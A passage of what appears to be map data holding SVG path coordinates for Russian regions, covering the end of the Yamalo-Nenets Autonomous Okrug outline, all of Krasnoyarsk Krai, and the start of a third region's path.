-0.35715,3.2143-0.53571,2.3214-2.5,1.7857-1.0714,1.25,2.1429-1.9643,2.3214-0.89285,1.4286-1.0714,4.4643-1.25,2.5,1.25,1.7857,2.6786,2.1429h2.8571l1.4286,2.1428,2.3214,2.5,1.7857,0.35715-1.4286-2.1429v-2.5s-1.25-1.25-1.9643-1.6071c-0.71429-0.35715-3.5714-2.8572-3.5714-2.8572l-1.25-3.5714-0.17857-1.4286s1.9643-0.71428,2.6786-0.71428c0.71429,0,3.2143,0.89285,3.2143,0.89285l0.89285,1.7857,1.6072,0.17857,1.25-0.71429-0.35715-1.9643,0.17858-1.9643,1.4286-0.35714,1.6071,0.71429,1.7857,1.4286,1.25,1.0714,0.89286,1.7857-0.35714,1.7857-2.3214,2.5-3.0357,1.25,1.0714,1.4286,2.6786,2.1428,0.35714,2.8572,0.17857,3.3928-0.71429,2.6786-2.5,1.4286-2.6786,1.4286-3.5714,1.7857-2.1428,2.1429,0.35714,2.6786,1.4286,2.5,1.25,2.5,1.6071,1.0714h3.3929,2.5l1.7857,1.6071,0.53571,3.0357,0.17857,3.3928v2.8572l-1.9643,3.2143-1.7857,2.5h-2.6786l-0.71429,0.53572,0.53572,1.9643,0.71428,1.7857-0.53571,2.5-0.89286,1.25,2.3214,3.3928,0.53572,1.7857,0.35714,1.7857-1.25,1.7857-1.0714,1.25,0.89286,2.1428-0.17857,2.5-1.6072,1.6072,1.6072,1.7857,2.1428,1.9643,1.6072,1.4286-0.17858,3.3928-1.4286,2.3214-0.17857,2.6786,2.3214,2.1429,4.6429,0.89286,0.89285,1.4286-1.4286,2.1429-0.53571,3.3928-0.89286,2.3214-2.6786,1.4286s-0.89286,0.53572-1.6071,1.0714c-0.71429,0.53572-1.7857,2.8572-1.7857,2.8572l1.9643,1.7857,0.17857,2.3214-1.4286,2.1429-1.25,2.5-2.6786,2.3214-2.8572,2.8572-0.89285-1.7857-1.6072-2.1428-1.7857-1.0714-1.9643,0.71428-1.9643-0.71428-0.71429-1.6072-1.25-1.25-2.5-0.89285-2.1428-0.89286-0.71429-1.6071-0.89286-1.7857-1.4286-1.4286-2.8571-0.17857-2.5,1.4286-2.5,1.0714-2.6786,0.17857-4.1072-1.6071-3.5714-0.35714-2.1429-0.17858-0.89286-1.9643-1.0714-2.3214v-1.4286l-3.3928-0.71429-2.3214-0.53571-0.89286-2.5-0.71429-2.3214s1.4286-0.17857-1.0714-0.35714-5.5357-1.0714-5.5357-1.0714l-1.4286-0.53572-3.2143-2.5-2.5-1.6071-2.8572-1.0714-3.2143-1.25-1.25-0.89285-0.17857-2.1429-2.8572-3.9286,0.17857-6.7857-1.25-1.7857-2.3214-2.8571-1.0714-2.1429-0.53572-0.53572-1.0714,1.25-0.53571,0.71429h-1.4286l-2.6786,0.89286-1.25,0.35714-1.6072-0.35714-2.1428-2.3214-1.7857-1.6071,0.53572-0.89286,1.4286-1.6071-0.35714-1.7857-2.5-2.3214-3.0357-1.4286-4.2857,0.35714-3.0357-1.25-2.6786-0.89285-3.3929-4.2857,2.3214-2.5,2.5-3.75,0.17857-5.3571,0.35715-1.4286,3.75-1.0714,2.6786-2.5,1.4286-1.4286h3.75,3.3929l3.9286,0.53571,1.7857-1.25,3.5714-1.6071,3.3929-0.53571,2.5-1.25,2.3214-1.25,0.35714-2.8572-2.1429-2.3214-0.71428-1.25,0.53571-1.6071,2.3214-1.4286,0.35714-1.25,1.92-2.87z","name":"Yamalo-Nenets Autonomous Okrug"},"kr":{"path":"M501.66,122.41c-0.45,0.04-1,0.37-1,0.37-0.9,0.72-1.25,0.77-0.94,1.13,0.31,0.35,0.19,0.55,0.9,0.78,0.72,0.22,0.91,0.49,1.44,0,0.54-0.49,0.77-1.24,0.41-1.69s-0.37-0.64-0.81-0.59zm11.56,0.65c-0.22,0.02-0.44,0.11-0.6,0.38-0.31,0.53-0.49,1.57-0.62,1.84s-0.2,0.74-0.78,0.88c-0.58,0.13-1.39,0.54-1.75,0.09s-1.03-1.51-1.25-1.69-1.04-0.74-1.13-0.03c-0.09,0.72,0.19,1.51,0.19,1.91s-0.18,0.99-0.4,1.12c-0.23,0.14-1.06,0.25-1.29,0.56-0.22,0.32-0.62,0.49-0.62,1.16s-0.27,1.67-0.31,1.94c-0.05,0.27-0.32,0.26-0.63,0.75s-1.09,1.87-1.09,1.87,0.89,0.62,1.15,0.85c0.27,0.22,0.42,0.77,0.38,1-0.05,0.22-0.13,1.05-0.53,1.19-0.4,0.13-1.43,0-1.78-0.13-0.36-0.13-1.01-0.48-1.5-0.44-0.49,0.05-1.01,0.23-1.19,0.63s-0.71,0.38-0.13,1.18c0.58,0.81,0.87,1.53,1,1.76,0.14,0.22,0.29,1.51,0.07,1.87-0.23,0.36-1,1.13-1.22,1.53-0.23,0.4-0.44,0.71-0.22,1.16,0.22,0.44,0.66,0.8,1.15,0.94,0.5,0.13,3.66,0.71,3.66,0.71s0.28-0.36,0.81-0.71c0.54-0.36,1.36-0.77,1.85-0.41s0.52,0.8,0.65,1.25c0.14,0.45,0.41,2.02,0.5,2.37,0.09,0.36,0.49,0.58,0.94,1.16s1.59,1.37,2.22,1.59c0.63,0.23,1.05,0.55,1.72,0.6,0.67,0.04,2.85,0.82,2.94,1.09s0.31,1,0.31,1,0.54,0.52,0.81,0.56c0.27,0.05,2.22,0.19,2.22,0.19,1.38-0.76,2.23-0.8,2.5-0.94,0.27-0.13,0.84-0.03,1.37-1.06,0.54-1.03,0.76-1.35,0.63-2.06-0.13-0.72-0.34-0.93-0.87-1.6-0.54-0.66-1.5-1.24-1.1-1.56,0.4-0.31,1.56-0.8,1.88-1.15,0.31-0.36,0.54-1.32,0.4-2.35-0.13-1.02-0.15-2.5-0.47-2.9-0.31-0.41-0.73-0.92-1.4-1.19s-1.23-0.67-1.81-0.53c-0.59,0.13-1.92,0.25-2.19,0.03s-0.62-0.83-0.85-1.5c-0.22-0.67-0.5-1.13-0.5-1.53s1.16-3.63,1.16-3.63,0.71-0.29,0.84-0.56c0.14-0.27,0.36-0.76,0.22-1.66-0.13-0.89-0.39-1.55-1.28-2.09s-2.09-1.72-2.09-1.72v-0.97c0-0.35-0.15-1.73-0.28-2-0.14-0.27-0.48-0.72-0.97-0.72-0.25,0-0.5-0.05-0.72-0.03zm17.72,22.91c-0.13,0.02-0.25,0.07-0.35,0.19-0.4,0.44-0.72,1.12-0.9,1.34s-0.51,0.09-0.91,0-0.89-0.43-1.16-0.03c-0.26,0.4-0.67,0.74-0.71,1.19-0.05,0.44,0.09,1.75,0.09,2.46,0,0.72,0.09,1.8,0,2.6s-0.2,1.3-0.78,1.66c-0.58,0.35-0.91,0.4-1.31,0.93-0.41,0.54-1.13,1.25-1.13,1.88,0,0.62,0.06,1.45-0.66,2.03-0.71,0.58-1.14,0.56-0.96,1.4,0.17,0.85,0.22,0.93,0.84,1.38s2.79,0.63,3.28,0.5,1.26-0.77,1.66-1.22,1.61-0.99,2.28-1.12c0.67-0.14,1.17-0.08,2.16-0.13,0.98-0.04,1.54-0.39,2.03-0.65,0.49-0.27,0.54-0.54,1.43-0.54,0.9,0,1.74,0,2.1-0.31,0.35-0.31,1.35-1.19,1.62-1.5s0.88-1.05,0.97-1.5,0.18-1.3,0-1.75,0.15-1.15-1.19-1.28-1.57,0.07-1.84-0.38c-0.27-0.44-1.03-0.88-1.03-1.37s0.08-1.02-0.19-1.37c-0.27-0.36-0.79-0.81-1.28-0.72s-1.31,0.58-1.53,0.62c-0.22,0.05-0.71-0.09-0.85-0.4-0.13-0.32-0.21-1.11-0.21-1.91s-0.25-1.63-0.25-1.63c-0.34-0.13-0.83-0.43-1.22-0.37zm5.22,20.03c-0.62,0.05-1.16,0.75-1.16,0.75s-1.62,1.95-2.16,2.84c-0.53,0.9-0.86,1.08-1.93,1.25-1.08,0.18-1.82,1.63-1.82,1.63s-0.51,1.23-0.68,2.12c-0.18,0.9-1.25,3.07-1.25,3.07v1.93l0.87,1.63s1.6,1.05,1.78,2.12c0.18,1.08-2.12-0.68-2.12-0.68s-2.14-0.73-3.03-0.91c-0.9-0.18-1.64,0.01-3.07,0.19-1.42,0.18-1.25,0.34-1.25,0.34l0.72,1.63s1.61,1.4,1.25,2.65c-0.35,1.25-1.4-0.53-1.4-0.53l-1.97-0.87s-1.98,0.16-2.88,0.87c-0.89,0.72-1.25,0.91-1.97,0.91-0.71,0-1.59-0.71-2.12-1.78-0.54-1.08-0.91-0.91-1.63-1.44-0.71-0.54-3.2,0-4.09,0s-2.32,1.79-3.75,1.97-1.78,0.53-1.78,0.53l0.34,2.12-1.97,1.1-2.12,0.53-2.16,0.53c-0.71,0.18-2.12-0.19-2.12-0.19l-1.97-0.34-1.44,0.87-0.53,0.57-2.84,0.15-2.16,0.91s-2.49,2.13-4.09,2.31c-1.61,0.18-0.19,0.53-0.19,0.53s1.06,0.91,1.06,1.63c0,0.71-0.7,0.87-0.87,1.4-0.18,0.54-1.45-0.33-2.35-0.68-0.89-0.36-1.25,0-1.25,0s0.2,1.04,0.38,1.93c0.18,0.9,1.06,1.28,1.06,2.35s-0.19,2.12-0.19,2.12,0.53,2.69,0.53,3.41v2.69c0,0.89-0.87,1.59-0.87,1.59s-1.25,0.72-3.03,0.72c-1.79,0-0.91-0.72-0.91-0.72l0.72-0.91-0.53-1.4-1.97-0.38-2.31,1.25-1.78-0.53h-3.22-3.94c-1.43,0-1.95-1.07-2.84-1.25-0.9-0.18-2.88-0.34-2.88-0.34s-2.14-0.02-3.03,0.34-1.97,1.06-1.97,1.06v3.07,3.03s-1.6,0.69-1.78,1.4c-0.18,0.72,0.01,2.68,0.19,3.75,0.18,1.08,1.05,0.72,2.12,1.25,1.07,0.54,2.16,1.25,2.16,1.25l0.53,0.57,0.34,1.78s0.57,1.94,0.57,2.65c0,0.72,1.25,1.97,1.25,1.97s0.68,1.63,0.68,2.35c0,0.71-0.51,1.22-0.87,1.93-0.36,0.72-0.73,1.61-0.91,2.5-0.18,0.9,0,2.16,0,2.16l0.38,2.84s-0.2,2.88-0.38,3.6c-0.18,0.71-0.89,1.42-1.78,1.78s-1.25,2.12-1.25,2.12,0.01,2.7,0.19,3.6c0.18,0.89,0.88,1.42,1.59,1.78,0.72,0.36,1.25,1.78,1.25,1.78l-0.87,1.78-1.78-0.34-1.44-1.78-0.91-1.82v-2.5s-0.54-1.76-1.97-2.65c-1.42-0.9,0.19-1.63,0.19-1.63s1.08-1.25,1.44-1.97c0.36-0.71,1.06-1.78,1.06-1.78s1.8-1.6,2.16-2.5c0.35-0.89-0.38-1.4-0.38-1.4l-1.06,0.68-1.78,1.82-1.78-0.91s0.69-1.25,0.87-1.78c0.18-0.54,0.54-1.79,0.72-2.5,0.18-0.72,0.35-1.6,1.06-2.31,0.72-0.72,2.35-0.19,2.35-0.19l1.25-1.25v-1.63l-1.1-1.59s-1.4-0.17-3.9-0.34c-2.5-0.18-0.72-1.25-0.72-1.25l-0.72-1.82s-0.72-1.76-1.44-2.12c-0.71-0.36-1.94-3.04-2.65-3.75-0.72-0.72-1.1-1.44-1.82-2.16-0.71-0.71-2.11-1.78-3.18-2.5-1.08-0.71-1.97-1.4-1.97-1.4l-1.63,0.34s-1.05,1.07-0.15,2.5c0.89,1.43,1.06,1.44,1.06,1.44l1.25-0.28,0.97,0.18,1.22,0.5,1.15,1.07,1.06,0.71,0.91,1.07,0.53,0.9,0.1,0.94-0.6,1.63-1.68,1.84-1.29,0.81-1.93,0.88,0.81,1.15s2.04,1.71,2.22,1.85c0.18,0.13,0.69,0.9,0.69,0.9l0.31,2.85,0.09,2.59s-0.33,2.1-0.37,2.28c-0.05,0.18-0.63,0.88-0.63,0.88l-7.09,3.97-1.44,0.9-1.25,0.94-0.66,0.81s0.3,2.37,0.35,2.6c0.04,0.22,0.64,1.18,0.69,1.4,0.04,0.23,1.28,2.69,1.28,2.69s1.15,1.2,1.46,1.69c0.32,0.49,2.16,0.31,2.16,0.31h3.44c0.4,0,1.34,0.5,1.34,0.5s1.3,0.98,1.35,1.16c0.04,0.17,0.37,1.31,0.37,1.31l0.38,3.34s0.09,3.42,0.09,3.69-0.5,1.56-0.5,1.56l-0.34,1.22c-0.04-0.01-0.07-0.03-0.1-0.06l-1.15,2.06-1.82,1.69-1.68,0.28-1.6,0.28,0.16,1.41s1,1.98,1,2.34-0.01,1.68-0.19,2.13c-0.18,0.44-0.81,1.68-0.81,1.68l0.47,1.19,1.15,1.69,0.88,2.41,0.47,1.68-1.16,1.97-1,1.63,0.72,1.93s0.08,1.53-0.09,1.97c-0.18,0.45-1.07,1.16-1.07,1.16l-0.43,1.19s4.1,3.63,5,4.53c0.89,0.89,0.15,1.52,0.15,2.06s-0.72,2.5-0.72,2.5l-1.25,2.22,0.1,1.87s1.54,1.46,1.72,1.82c0.17,0.35,1.68,0.78,2.22,0.87,0.53,0.09,2.78,0.38,2.78,0.38l1.25,1.31-0.19,0.81-1.16,1.63-0.72,3.28s-0.8,2.07-1.15,2.34c-0.36,0.27-1.44,1.16-1.44,1.16l-2.22,1.15-1.72,2.41,0.38,0.97,1.34,1,0.25,1.78-0.81,1.78-1.25,2.78-1.5,1.41-2.31,2.34-1.72,1.6-1.5,2.25s-0.9,2.92-0.81,4c0.08,1.07,0.96,0.72,0.96,0.72s1.62,1.07,2.16,1.34,1.51,0.99,1.78,1.34c0.27,0.36,1,1.24,1,1.69v1.53l-0.81,0.88-1.25,0.81-3.41,1.25-1.69,0.34-2.4-0.25s-1,0.43-0.91,0.78c0.09,0.36,0.72,1.63,0.72,1.63s0.45,1.24,0.63,1.69c0.17,0.44,0.27,0.88,0.72,1.06,0.44,0.18,0.09,2.97,0.09,2.97s-0.89,2.3-1.16,2.75c-0.27,0.44-0.46,1.25-0.37,1.87,0.09,0.63,0.72,1,0.72,1s1.7,0.69,2.06,0.78,2.94,1.1,2.94,1.1,3.13,0.72,3.84,0.72,2.58,0.06,3.56,0.15,2.5,1,2.5,1,1,0.87,1.53,1.41c0.54,0.53,0.25,4.64,0.25,5s2.88,0.19,3.5,0.28c0.63,0.09,2.32,0.81,2.32,0.81s0.43,1.33,0.43,1.69-0.43,1.88-0.43,1.88l-1.78,0.9-3.47,1.5-0.57,1.06s-1.13,4.74-1.4,5.19,0.53,1.88,0.53,1.88l1.5,0.62,2.25,1.06s3.47,2.25,4.09,2.79c0.63,0.53-0.09,0.96-0.09,0.96l-0.97,1.82-5.44,4.72-0.72,1.96-0.18,1.5s-0.44,3.58-0.44,3.94,0.34,1.53,0.34,1.53,1.81,1.15,2.25,1.5c0.45,0.36,1.88,1,1.88,1l0.72,1.41s0.79,1.54,1.06,2.34c0.27,0.81-0.72,0.97-0.72,0.97l-3.56,2.94-1.97,0.91s-1.35,1.33-1.44,1.87,0.81,0.97,0.81,0.97l0.97,1.44,1,1.34s1.95,0.73,2.75,0.91c0.81,0.17,1.63-0.57,1.63-0.57s1.42-1.95,2.4-2.22c0.99-0.26,0.53,0.46,1.07,0.72,0.53,0.27,1.96,0.61,2.59,0.88s2.22,1.34,2.22,1.34l0.81,2.06,1.78,7.41,0.82,2.5-1.26,4.13s0.1,2.05,0.19,2.4c0.09,0.36,0.8,1.24,1.07,1.6,0.26,0.35,0.43,2.15,0.43,2.15l-0.97,1.35-2.4,1.5-1.1,1.78s-2.3,3.32-2.65,3.59c-0.36,0.27-2.06,1.14-2.6,1.41-0.53,0.27-2.06,1.44-2.06,1.44s0.27,1.06,0.63,1.15c0.35,0.09,0.53,2.16,0.53,2.16l0.81,1.06,1.88-0.44,3.21,0.78,2.5,0.91s1.25,0.88,1.79,1.06c0.53,0.18,3.4-0.44,3.4-0.44s5.87-2.32,6.31-2.59c0.45-0.27,1.72-1.06,1.72-1.06s2.5-1.89,3.03-2.25c0.54-0.36,3.74-2.14,4.1-2.41,0.35-0.27,1.44-1.78,1.44-1.78l0.9-2.12s0.16-1.99,0.25-2.44,0.53-1.5,0.53-1.5l0.72-1.25,2.16-0.19,3.12,0.44,2.32,0.19s3.57,0.1,4.37-0.35c0.8-0.44,0.45-0.72,0.63-1.34,0.17-0.63-0.27-0.9-0.63-1.35-0.36-0.44-1-1.33-1.53-1.78-0.54-0.44-1.25-1.15-1.25-1.15s-2.31-4.22-2.31-4.75c0-0.54,0.81-1.15,2.15-1.69s3.91-0.97,3.91-0.97l2.06-1.19-0.09-2.65,0.47-1.78s1.16-2.8,1.25-3.07c0.09-0.26,1.51-2.93,1.68-3.56,0.18-0.62,0.62-1.79,1.07-2.59,0.44-0.81,1.62-1.68,2.15-2.03,0.54-0.36,1.68-1.91,2.13-2.44,0.44-0.54,1.09-2.22,1.09-2.22l-0.19-4.09s-2.13-2.42-2.4-3.22c-0.27-0.81,0.07-1.43,0.34-1.78,0.27-0.36,1.61-1.88,1.97-2.5,0.36-0.63,0.81-2.53,0.81-2.97,0-0.45,0.98-1.5,1.88-2.13,0.89-0.62,2.83-0.18,3.28,0s1.09,0.81,1.72,1.35c0.62,0.53,3.28,0.68,3.28,0.68s1.07-1.42,1.25-1.87,0.98-1.77,1.25-2.22,1.53-1.07,2.25-1.16c0.71-0.09,1.69,0.63,1.69,0.63s0.97,1.78,1.15,2.31c0.18,0.54,1.18,1.61,1.53,1.97,0.36,0.36,1.26,1.8,1.35,2.16,0.09,0.35,1.06,0.33,2.22,0.15s0.09-1.4,0.09-1.4v-2.16s-0.62-2.16-0.62-2.78c0-0.63,0.71-1.78,0.71-1.78s2.5-0.8,3.03-1.06c0.54-0.27-0.08-1.17,0.1-1.97,0.18-0.81,1.33-1.7,1.69-1.88,0.35-0.18,2.96-0.61,3.4-0.87,0.45-0.27,1.41-1.25,1.41-1.25l0.62-2.69,0.28-2.88s-0.02-0.11-0.03-0.12c0.09-0.06,0.32-0.22,0.32-0.22l1.31,0.19s0.6-0.58,1.31-0.94c0.72-0.36,0.79,0.03,0.97,0.03s0.68,1.11,0.81,1.47c0.14,0.36,0.36,1.26,0.41,1.53,0.04,0.27,1.38,0.68,1.56,0.72s1.55,0.47,1.81,0.56c0.27,0.09,1.66,1.08,1.97,1.44,0.32,0.36,1.04,0.45,2.38,0.94s1.53-0.28,1.53-0.28l0.65-0.63s0.23-1.4,0.32-1.94c0.09-0.53,0.72-0.87,0.72-0.87s1.51-1.22,1.87-1.63c0.36-0.4,0.5-0.87,0.5-0.87s0.34-2.99,0.16-3.13c-0.18-0.13-1.38-0.71-1.78-0.84-0.41-0.13-1.6-1.46-2-2.13-0.41-0.66,0.3-1.16,0.43-1.43,0.14-0.27,1.41-1.06,1.63-1.28,0.22-0.23,1.06-0.78,1.59-1,0.54-0.23,0.27-2.9,0.22-3.35-0.04-0.44-0.7-0.44-1.81-0.62-1.12-0.18-1.97-0.85-1.97-0.85s-1.52-1.52-2.19-2.28-0.22-2.76-0.22-3.03,0.17-4.1,0.13-4.9c-0.05-0.81,0.54-1.63,0.72-1.85s2.37-0.49,2.59-0.53,1.9-0.99,2.35-1.34c0.44-0.36,0.59-1.19,0.59-1.19s-0.37-1.3-0.5-1.75c-0.14-0.45,0.72-1.65,1.03-1.88,0.31-0.22,1.91-1.37,1.91-1.37s1.07-6.86,1.25-7.13c0.17-0.26-0.32-1.59-0.32-1.59s-1.19-3.62-1.28-3.84c-0.09-0.23-0.68-1.65-0.5-2.32s1.27-1.02,1.41-1.25c0.13-0.22,0.07-0.97-0.16-1.15-0.22-0.18-1.03-1.16-1.03-1.16s0.58-3.41,0.63-3.81c0.04-0.4,0.28-1.69,0.28-1.69l1.22-0.84s3.79-0.07,4.06-0.07,2.03-0.79,2.44-1.06c0.4-0.27,0.13-1.66,0-1.84-0.14-0.18-1.19-1.94-1.19-1.94h-2.28l-2.5,0.06-2.1-0.43-1.03-0.41s-2.49-0.25-2.72-0.25c-0.22,0-1.5-0.16-1.5-0.16l-0.65-0.25s-0.13-1.6-0.13-1.87,0.48-0.55,1.07-0.91c0.58-0.35,0.93-0.94,0.93-0.94s-0.17-0.98-0.43-1.34c-0.27-0.36-0.1-0.97-0.1-0.97s2.29-2.76,2.38-2.93c0.09-0.18,0.62-1.04,0.62-1.04s0.89-1.56,1.06-2.18c0.18-0.63-0.59-1.16-0.59-1.16s-3.42-4.04-3.78-4.44-1.14-1.64-1.31-1.9c-0.18-0.27-0.91-1.24-1-1.69s0.31-1.41,0.31-1.41l1.09-3.47-0.56-1.06s-1.07-0.96-1.16-1.09c-0.09-0.14-1-0.75-1-0.75s-0.63-0.55-0.5-0.91c0.14-0.36,1.36-0.56,1.63-0.56s2.31-0.69,2.31-0.69,1.39-0.56,1.56-0.78c0.18-0.22-0.03-1.16-0.03-1.16s-1.56-17.7-1.56-18.06-0.65-1.56-0.78-1.78c-0.14-0.22-2.19-2.34-2.19-2.34l-0.72-5.16h0.06s1.85,0.06,2.47,0.06c0.63,0,0.97-0.84,0.97-0.84l2.5-2.06,1.53-1.38s0.57-0.52,0.88-0.56c0.31-0.05,1.26,0.58,1.44,0.62,0.17,0.05,1.47,0.6,1.47,0.6s0.99-0.52,1.43-0.66c0.45-0.13,0.75-0.62,0.75-0.62l-0.31-5.94,4.16-2.16s0.93-1.1,0.93-1.28,0.57-1.87,0.57-1.87l4.47-3.1s1.78-2.23,2.18-2.5-0.03-0.62-0.03-0.62l-1.25-1.85s-1.07-1.29-1.78-1.47c-0.71-0.17-0.91-1.09-0.91-1.09l0.29-5-0.6-0.47-2.84-2.31-3.41-2.69-0.72-1.97-0.34-1.4-1.06-1.78,0.15-0.91,1.25-2.69-1.4-1.4-1.63-1.97-0.72,1.59s-1.43-0.53-2.5-0.53-1.06,1.44-1.06,1.44-1.95,0.71-2.84,1.25c-0.9,0.53-1.25,1.78-1.25,1.78s-1.45,1.25-2.16,1.25-2.14,0.01-3.03,0.19c-0.89,0.17-1.43,1.41-1.97,2.12-0.54,0.72-1.44,2.33-2.16,2.69-0.71,0.36-0.71,0.34-1.78,0.34s-0.16-0.7,0.38-2.31c0.53-1.61,1.95-1.79,2.31-2.5s0.72-1.78,0.72-1.78l2.5-0.91s0.54-3.02,1.44-3.37c0.89-0.36,3.75-0.53,3.75-0.53s1.22-1.63,1.4-2.35c0.18-0.71,1.44-1.58,1.97-2.65,0.54-1.08,0.72-1.79,0.72-2.5,0-0.72,0.91-1.82,0.91-1.82l2.5-2.12s1.58-1.6,1.93-2.31c0.36-0.72,2.16-1.97,2.16-1.97l2.16-1.97,2.31-2.5s0.19-1.44,0.19-2.16c0-0.71-0.72-1.78-0.72-1.78s-1.26-0.9-1.97-1.44c-0.72-0.53-1.78-0.7-1.78-1.59s0.16-0.72,0.34-1.44c0.18-0.71,0.72,0,0.72,0l1.44,1.1,0.15-1.25-0.15-2.35-0.53-1.97-2.69-0.68-1.78-1.1h-2.16c-0.71,0-0.52-0.69-0.87-1.4-0.36-0.72-0.37-1.62-0.91-2.69s-2.31-0.19-2.31-0.19l-1.78,0.91c-0.72,0.35-0.73,0.52-1.44,1.06-0.72,0.54-1.61-0.37-3.22-0.91-1.61-0.53-1.77,0.02-2.84,0.38-1.08,0.36,0.17,0.88,0.53,1.59,0.35,0.72,0,1.44,0,1.44l-2.35-0.19s-1.06-0.35-1.78-1.25c-0.71-0.89,0.19-1.06,0.19-1.06s1.25-1.43,1.25-2.5-0.72-1.25-0.72-1.25h-2.69c-1.25,0-1.96-0.17-3.03-0.34-1.07-0.18-1.25-0.37-1.97-1.44-0.71-1.07,0.57-0.53,0.57-0.53l1.4-1.25,1.25-0.72,2.69,0.34s0.9,0.56,1.97,0.38,0.19-0.72,0.19-0.72l-1.63-1.06s-1.77,0.34-2.84,0.34-2.16-0.72-2.16-0.72l-1.97-0.87s-1.41-1.45-2.12-1.63c-0.09-0.02-0.2-0.04-0.28-0.03zm-45.94,3.34c-0.85,0.32-1.23-0.03-1.5,0.82-0.27,0.84-0.34,0.96,0.16,1.18,0.49,0.23,0.87,0.53,1.4,0.44,0.54-0.09,1.24-0.47,1.06-1.09-0.17-0.63-1.12-1.35-1.12-1.35zm20.84,3.82c-0.33,0-0.47,0.12-0.94,0.56-0.62,0.58-1.62,1.37-1.71,1.9-0.09,0.54,0.12,0.96-0.19,1.54s-1.55,1.81-2,2.12-2.51,0.16-2.6,0.47c-0.08,0.31-0.37,0.52,0.04,0.87,0.4,0.36,2.91,0.63,3.72,0.54,0.8-0.09,3.3-0.3,3.74-0.35,0.45-0.04,0.71,0.28,0.66-0.43-0.04-0.72-0.72-1.36-0.4-1.85,0.31-0.49,0.6-0.65,0.78-0.97,0.17-0.31,0.49-1.06,0.31-1.47-0.18-0.4-0.72-0.95-0.72-1.53s-0.28-1.37-0.28-1.37c-0.18-0.01-0.3-0.04-0.41-0.03zm-45.53,6.62c-0.49,0-2.1,0.86-2.19,1.13-0.09,0.26-0.56,0.38,0.07,0.97,0.62,0.58,0.39,0.88,1.15,0.84,0.76-0.05,1.55-0.67,2.22-0.63,0.67,0.05,1,0.79,1.31,0.79,0.32,0,0.62-0.23,0.66-0.72s-0.42-0.89-0.59-1.07c-0.18-0.17-0.54-0.18-0.54-0.18-0.31-0.45-1.6-1.13-2.09-1.13zm-2.06,6.25c-0.54,0.18-1.01,0.45-1.5,0.63-0.49,0.17-0.81,0.17-1.13,0.43-0.31,0.27-0.72,0.46-0.72,0.82,0,0.35,0.15,0.5,0.6,0.81s0.52,0.62,1.19,0.62,1.89-0.5,2.03-0.81c0.13-0.31,0.48-0.94,0.53-1.25,0.04-0.31-1-1.25-1-1.25zm-51.31,9.13l-2.35,2.12-0.34,1.78,1.97,0.38,1.25,0.87h2.5l1.25-0.87v-1.78l-1.63-2.16-2.65-0.34zm59.09,4.4c-0.49,0.14-1.47,0.59-1.25,1.03,0.22,0.45,0.5,0.8,0.91,0.75,0.4-0.04,0.74-0.01,0.87-0.5,0.14-0.49-0.22-1.25-0.22-1.25l-0.31-0.03zm97.34,1.78c-0.09,0.01-0.18,0.07-0.28,0.22-0.38,0.6-0.53,1.69-0.4,2.1,0.12,0.41-0.42,0.87,0.12,1.31s0.62,1.22,1.53,1.25c0.92,0.03,1.9,0.47,2.63-0.06,0.72-0.54,1.43-1.69,1.65-2.19,0.22-0.51,0.32-1.22,0.07-1.53-0.26-0.32-0.62-0.81-1.13-0.88-0.5-0.06-1.19,0.16-1.19,0.16-1.07,0.31-0.99,0.66-1.78,0.31-0.59-0.26-0.92-0.72-1.22-0.69zm-135.37,0.22l-1.97,0.19-1.44,1.44,0.53,1.06,1.63-0.91,1.44,0.57,0.34,1.59,1.25,0.34,0.72-0.87-0.53-1.06-1.97-2.35zm27.09,1.13c-0.49,0.01-1.04,0.1-0.9,0.5,0.17,0.53,1.09,0.75,2.03,0.75s2.97,0.08,3.06,0.44c0.09,0.35,0.68,1.56,0.91,1.65,0.22,0.09,0.92,0.13,0.97-0.41,0.04-0.53-0.44-1.13-0.76-1.4-0.31-0.27-2.09-1.25-2.09-1.25-0.45-0.09-2.24-0.28-2.78-0.28-0.13,0-0.27-0.01-0.44,0zm10.31,1.12c-0.71,0.23-0.93,0.25-0.93,0.88,0,0.62-0.1,1.06,0.43,1.15,0.54,0.09,0.85,0.33,1.26,0.07,0.4-0.27,0.59-0.91,0.37-1.22s-1.13-0.88-1.13-0.88zm-44.71,1.16l-1.44,1.25,0.72,0.87,1.78-1.06-1.06-1.06zm6.4,2.31v1.78l2.35-0.53v-1.25h-2.35zm133.35,1.5c-1.05,0.29-1.25,0.28-2.07,0.6-0.82,0.31-1.49,0.24-1.87,0.74-0.38,0.51-0.44,0.28-0.66,1.29s-0.69,0.99,0.1,1.31c0.79,0.31,1.39,0.29,2.31-0.41,0.91-0.69,1.71-1.09,2.19-1.65,0.47-0.57,0.84-1.19,0.84-1.35s-0.84-0.53-0.84-0.53zm-122.41,0.5c-0.4,0.63-0.65,1.16-0.87,1.56-0.23,0.41-0.68,0.77-1.13,1.66s-0.81,1.32-0.81,2.03c0,0.72,0.24,1.18,0.68,1.41,0.45,0.22,0.34,0.5,0.57,0.5,0.22,0,0.82,0.09,1.31,0s1.03-0.19,1.03-0.5v-1.88c0-0.53-0.31-3.37-0.31-3.59s-0.47-1.19-0.47-1.19zm-16.47,0.69l-1.06,0.87v1.25l1.44,0.57,0.87-1.25-1.25-1.44z","name":"Krasnoyarsk Krai"},"tm":{"path":"m424.64,359.43,1.25,3.2143,1.25,2.3214s-0.53571,2.3214-0.71428,3.0357c-0.17857,0.71429-1.6071,3.0357-1.6071,3.0357s0.53571,1.25,1.6071,1.9643c1.0714,0.71429,5.8929,1.7857,5.8929,1.7857l5.3571,0.17857s3.75,0.89285,4.1071,1.6071c0.35714,0.71429,0.89286,1.0714,0.89286,2.1429,0,1.0714,0.35714,4.2857,0.35714,4.2857s1.25,0.35714,2.6786,0.35714,3.0357,0.35715,3.0357,0.35715,0.35714,2.1428,0.35714,2.6786c0,0.53571-0.89286,1.7857-1.9643,1.7857s-3.75,1.6072-3.75,1.6072-1.25,2.6786-1.25,3.75-0.89285,3.5714-0.53571,4.2857c0.35714,0.71429,4.4643,1.7857,5.1786,2.1429,0.71429,0.35714,3.2143,2.6786,3.2143,2.6786s-0.71429,1.6071-1.6072,2.6786c-0.89285,1.0714-4.1071,3.0357-5.3571,4.6429-1.25,1.6071-0.35714,2.8571-0.35714,2.8571l-0.71429,1.6071-3.2143,0.53572-3.2143,0.35714-1.4286-1.6071-1.9643-0.17857-4.66-0.57h-2.3214l-1.25,1.0714s-2.1429,1.0714-3.2143,1.25c-1.0714,0.17857-5.3571,1.25-6.0714,1.25-0.71428,0-6.4286,0.71429-6.4286,0.71429l-3.3928,1.4286h-2.3214l-0.35715-1.9643,0.71429-2.1429-0.35714-2.3214,1.7857-2.3214-0.53571-1.4286s-1.0714-0.17858-1.9643,0.53571c-0.89286,